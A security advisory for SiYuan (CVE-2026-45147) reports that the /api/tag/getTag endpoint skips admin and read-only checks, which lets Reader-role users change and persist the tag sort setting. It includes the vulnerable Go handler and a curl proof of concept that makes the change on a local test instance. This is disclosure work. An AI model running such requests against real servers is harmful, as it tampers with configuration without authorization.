GHSA-6R88-8V7Q-Q4P2

Vulnerability from github – Published: 2026-05-13 15:32 – Updated: 2026-05-15 23:45
VLAI
Summary
SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk
Details

Summary

POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.

Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:170 — only CheckAuth:

ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)

kernel/api/tag.go:28-64 — handler. The if nil != arg["sort"] block writes config without any role check:

func getTag(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok { return }
    ...
    if nil != arg["sort"] {                    // ← unauthorized write path
        sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
        if !ok { return }
        model.Conf.Tag.Sort = int(sortVal)
        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json
    }
    ...
}

Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).

PoC

Same Docker setup as Advisory 1.

# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null

# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4

# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
  -H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}

# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7

# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7

The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.

Impact

Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:

  • It demonstrates the same gap that GHSA-4j3x-hhg2-fm2x was meant to flag broadly (missing CheckAdminRole + CheckReadonly on a read-style endpoint that performs writes); each occurrence has to be patched individually.
  • Conf.Save() rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.
  • A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260512140701-d7b77d945e0d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:32:35Z",
    "nvd_published_at": "2026-05-14T19:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user \u2014 including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace \u2014 can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`.\n\nSame root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`).\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:170` \u2014 only `CheckAuth`:\n\n```go\nginServer.Handle(\"POST\", \"/api/tag/getTag\", model.CheckAuth, getTag)\n// Compare the sibling registrations on the next two lines, which DO gate writes:\nginServer.Handle(\"POST\", \"/api/tag/renameTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)\nginServer.Handle(\"POST\", \"/api/tag/removeTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)\n```\n\n`kernel/api/tag.go:28-64` \u2014 handler. The `if nil != arg[\"sort\"]` block writes config without any role check:\n\n```go\nfunc getTag(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n    arg, ok := util.JsonArg(c, ret)\n    if !ok { return }\n    ...\n    if nil != arg[\"sort\"] {                    // \u2190 unauthorized write path\n        sortVal, ok := util.ParseJsonArg[float64](\"sort\", arg, ret, true, false)\n        if !ok { return }\n        model.Conf.Tag.Sort = int(sortVal)\n        model.Conf.Save()                      // persists entire conf to \u003cworkspace\u003e/conf/conf.json\n    }\n    ...\n}\n```\n\n`Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user\u0027s setting (TOCTOU on the global config object).\n\n### PoC\n\nSame Docker setup as Advisory 1.\n\n```bash\n# 1. Authenticate (any role with CheckAuth pass \u2014 admin used here for convenience).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"authCode\":\"audittest\"}\u0027 \u003e/dev/null\n\n# 2. Read current Conf.Tag.Sort.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n  | python3 -c \"import json,sys;print(\u0027Conf.Tag.Sort BEFORE =\u0027,json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027][\u0027tag\u0027][\u0027sort\u0027])\"\n# \u2192 Conf.Tag.Sort BEFORE = 4\n\n# 3. Mutate via the read-style endpoint.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"sort\": 7}\u0027\n# \u2192 {\"code\":0,\"msg\":\"\",\"data\":[]}\n\n# 4. Confirm in-memory.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n  | python3 -c \"import json,sys;print(\u0027Conf.Tag.Sort AFTER =\u0027,json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027][\u0027tag\u0027][\u0027sort\u0027])\"\n# \u2192 Conf.Tag.Sort AFTER = 7\n\n# 5. Confirm persisted to disk inside the container.\ndocker exec siyuan-audit grep -o \u0027sort\":[0-9]*\u0027 /siyuan/workspace/conf/conf.json\n# \u2192 sort\":7\n```\n\nThe vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`.\n\n### Impact\n\nLimited direct damage \u2014 the writable field is only the tag display sort order. The pattern is concerning because:\n\n- It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually.\n- `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.\n- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.",
  "id": "GHSA-6r88-8v7q-q4p2",
  "modified": "2026-05-15T23:45:15Z",
  "published": "2026-05-13T15:32:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45147"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Broken access control in `/api/tag/getTag` \u2014 Reader role can mutate `Conf.Tag.Sort` and persist to disk"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…